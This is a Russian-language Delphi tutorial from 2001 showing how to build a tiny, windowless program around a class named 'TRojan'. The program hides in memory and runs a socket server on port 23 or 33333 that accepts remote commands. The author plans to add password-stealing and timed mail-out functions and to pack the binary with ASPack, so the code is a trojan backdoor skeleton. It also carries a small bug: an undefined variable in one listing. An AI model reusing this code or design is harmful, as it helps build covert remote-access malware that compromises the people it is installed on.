Для того чтоб программа имела маленький размер, надо отказаться от использования юнита Forms. Из за этого юнита программа увеличивается до размера более 200 кбайт. Делфи был создан для быстрого написания программы и программист создающий программу на Делфи не терял много времени на разработку интерфейса, а больше занимался реализацией своей задачи. Из-за этого программы, написанные на Делфи, имеют очень большой размер. Делфи включает в проект много нужных и ненужных классов и функций, не используя их можно добиться такого же размера программы как и на Си++. Для этого надо полностью отказаться от использования компонентов включенных в состав Делфи, а использовать WinAPI, как это делается в программах на Си++.
Ниже приведенный пример показывает, как создать программу, не используя TForms. Здесь я буду использовать стандартный компонент TServerSocket, немного переработанный для того, чтоб он не использовал TForms. Я для простоты использовал TServerSocket, из-за этого моя программа увеличилась до 89 кбайт, потому что юнит ScktComp использует SysUtils и Classes. Но если создать свой Сервер, используя юнит Winsock, то можно очень здорово уменьшить свою программу. Например, если в пример показанный ниже не вставлять TServerSocket, то скомпилированный размер программы, которая ничего не выполняет :) а просто сидит в памяти, около 15 килобайт. Если вставить в данную программу функцию работы с почтой, описанную в предыдущей статье, и функции определения пароля, то размер такой почтовой программы будет 30 кбайт. Вместо ТTimer нужно в методе Create использовать tim:=SetTimer(0,0,600000,@TRojan.mail); где tim: integer @TRojan.mail указатель на процедуру обработки убивается в Destroy KillTimer(0,tim);
Начнем. Создадим новый проект. Удалим все стандартные юниты, которые входят в новый проект. Сделаем так, чтоб файл Project1.dpr выглядел так:
program Project1; uses windows, Unit1, messages ; var msg: TMsg; sock: TRojan; begin sock:= TRojan.Create; while GetMessage( Msg, HInstance, 0, 0) do begin TranslateMessage(msg); DispatchMessage(msg); end; end.
Здесь идет зацикливание программы, и все сообщения переданные программе передаются в класс.
а unit1.pas чтоб выглядел так.
unit Unit1; interface uses Windows, Messages; type TRojan= class private { Private declarations } public { Public declarations } end; implementation end.
Теперь сохраним в какой-нибудь директории наш проект. Закроем его и откроем заново. Если откомпилировать, то получим программу объемом 15 килобайт. Добавим в директорию проекта файл ScktComp.pas из папки Source Делфи. Добавим в Unit1 юнит ScktComp. Удалим из него ссылку на Forms во втором uses. Попробуем скомпилировать. Получили крепкий мат :). Здесь используются некоторые функции, находящиеся в юните Forms. При компиляции получили неправильные идентификаторы DeallocateHWnd, AllocateHwnd и Application.HandleException(Self). Заремарим Application.HandleException(Self) а процедуры DeallocateHWnd и AllocateHwnd добавим в ScktComp.pas из юнита Forms. Добавим объявления этих функций
var WSAData: TWSAData; // это было InstBlockList: PInstanceBlock; // это и далее добавили InstFreeList: PObjectInstance; UtilWindowClass: TWndClass = ( style: 0; lpfnWndProc: @DefWindowProc; cbClsExtra: 0; cbWndExtra: 0; hInstance: 0; hIcon: 0; hCursor: 0; hbrBackground: 0; lpszMenuName: nil; lpszClassName: 'TPUtilWindow');
procedure FreeObjectInstance(ObjectInstance: Pointer); begin if ObjectInstance <> nil then begin PObjectInstance(ObjectInstance)^.Next := InstFreeList; InstFreeList := ObjectInstance; end; end;
function CalcJmpOffset(Src, Dest: Pointer): Longint; begin Result := Longint(Dest) - (Longint(Src) + 5); end;
function MakeObjectInstance(Method: TWndMethod): Pointer; const BlockCode: array[1..2] of Byte = ( $59, { POP ECX } $E9); { JMP StdWndProc } PageSize = 4096; var Block: PInstanceBlock; Instance: PObjectInstance; begin if InstFreeList = nil then begin Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Block^.Next := InstBlockList; Move(BlockCode, Block^.Code, SizeOf(BlockCode)); Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc)); Instance := @Block^.Instances; repeat Instance^.Code := $E8; { CALL NEAR PTR Offset } Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code); Instance^.Next := InstFreeList; InstFreeList := Instance; Inc(Longint(Instance), SizeOf(TObjectInstance)); until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock); InstBlockList := Block; end; Result := InstFreeList; Instance := InstFreeList; InstFreeList := Instance^.Next; Instance^.Method := Method; end;
function AllocateHWnd(Method: TWndMethod): HWND; var TempClass: TWndClass; ClassRegistered: Boolean; begin UtilWindowClass.hInstance := HInstance; ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName, TempClass); if not ClassRegistered or (TempClass.lpfnWndProc <> @DefWindowProc) then begin if ClassRegistered then Windows.UnregisterClass(UtilWindowClass.lpszClassName, HInstance); Windows.RegisterClass(UtilWindowClass); end; Result := CreateWindowEx(WS_EX_TOOLWINDOW, UtilWindowClass.lpszClassName, '', WS_POPUP {!0}, 0, 0, 0, 0, 0, 0, HInstance, nil); if Assigned(Method) then SetWindowLong(Result, GWL_WNDPROC, Longint(MakeObjectInstance(Method))); end;
procedure DeallocateHWnd(Wnd: HWND); var Instance: Pointer; begin Instance := Pointer(GetWindowLong(Wnd, GWL_WNDPROC)); DestroyWindow(Wnd); if Instance <> @DefWindowProc then FreeObjectInstance(Instance); end;
type TWndMethod = procedure(var Message: TMessage) of object;
PObjectInstance = ^TObjectInstance; TObjectInstance = packed record Code: Byte; Offset: Integer; case Integer of 0: (Next: PObjectInstance); 1: (Method: TWndMethod); end; PInstanceBlock = ^TInstanceBlock; TInstanceBlock = packed record Next: PInstanceBlock; Code: array[1..2] of Byte; WndProcPtr: Pointer; Instances: array[0..313] of TObjectInstance; end;
заремарим еще одну строчку Application.ShowException(FException) :) и скомпилируем. Объем программы составил 57 килобайт (многовато, но на первый раз пойдет, это не 300).
Объявим в нашем классе процедуры Create и Destroy и компонет TServerSocket
TRojan= class Server:TServerSocket; constructor Create; destructor Destroy; override;
опишем эти функции.
constructor TRojan.Create; begin Server:=TServerSocket.Create(nil); Server.OnClientRead:=ClientRead; Server.OnClientError:=ServerSocketClientError; Server.Port:=23; Server.Active:=true; end;
destructor TRojan.Destroy; begin Server.Free; inherited Destroy; end;
Добавим процедуры для работы с сервером в наш класс
на эти процедуры сервер будет передавать управление. Опишем действия при возникновении ошибки
procedure TRojan.ServerSocketClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin if errorcode= 10054 then errorcode := 0;// или можно чтоб вообще не было никаких реакций на ошибки // errorcode := 0; end;
И при получении строки от клиента
procedure TRojan.ClientRead(Sender: TObject; Socket: TCustomWinSocket); var s:string; begin s:=Socket.ReceiveText; if Uppercase(s) = 'HELP' then begin Socket.SendText('I`m remote server version 1.0 designed HaWord (c)2001'#13#10); Socket.SendText('HELP - help :)'#13#10); Socket.SendText(#13#10); end; if Uppercase(clientdata) = 'STOP' then begin Socket.SendText('nu nu davai davai pokeda'#13#10); PostQuitMessage(WM_QUIT); end; end;
Остальное можете добавить по вкусу :) Добавим приветствие. Объявим в классе процедуру
procedure TRojan.ClientConnect(Sender: TObject; Socket: TCustomWinSocket); begin Socket.SendText('Привет, я программа Удаленного администрирования'+#13#10); end;
Ну вроде все. Размер получившейся программы, откомпилированной на Делфи 4 разбух до 89 килобайт. Я упаковал его ASPack и он уменьшился до 45 кбайт. Чтоб еще уменьшить размер, надо убрать TServerSocket и описать сервер, полностью используя WinAPI. Можно что угодно делать и на чем угодно, только надо иметь не кривые руки :)
(с) 2001 HAWORD
Исходный текст
файл Project1.dpr
program Project1; uses windows, Unit1, messages ; var msg: TMsg; sock: TRojan;
begin sock:= TRojan.Create; while GetMessage( Msg, HInstance, 0, 0) do begin TranslateMessage(msg); DispatchMessage(msg); end; sock.Destroy;
end.
файл unit1
unit Unit1;
interface
uses Windows, Messages, scktcomp, sysutils ;
type TRojan= class Server:TServerSocket; constructor Create; destructor Destroy; override; procedure ClientRead(Sender: TObject; Socket: TCustomWinSocket); procedure ServerSocketClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure ClientConnect(Sender: TObject; Socket: TCustomWinSocket);
private { Private declarations } public { Public declarations } end;
implementation
{ TRojan }
procedure TRojan.ClientConnect(Sender: TObject; Socket: TCustomWinSocket); begin Socket.SendText('Привет, я программа Удаленного администратирования'+#13#10); end;
procedure TRojan.ClientRead(Sender: TObject; Socket: TCustomWinSocket); var s:string; begin s:=Socket.ReceiveText; if {Uppercase(s)}s = 'HELP' then begin Socket.SendText('I`m remote server version 1.0 designed HaWord (c)2001'#13#10); Socket.SendText('HELP - help :)'#13#10); Socket.SendText(#13#10); end; if {Uppercase(s)}s = 'STOP' then begin Socket.SendText('nu nu davai davai pokeda'#13#10); PostQuitMessage(WM_QUIT); end; end;
constructor TRojan.Create; begin Server:=TServerSocket.Create(nil); Server.OnClientRead:=ClientRead; Server.OnClientError:=ServerSocketClientError; Server.OnClientConnect:=ClientConnect; Server.Port:=33333; Server.Active:=true;
end;
destructor TRojan.Destroy; begin Server.Free; inherited Destroy; end;
procedure TRojan.ServerSocketClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin if errorcode= 10054 then errorcode := 0; end;
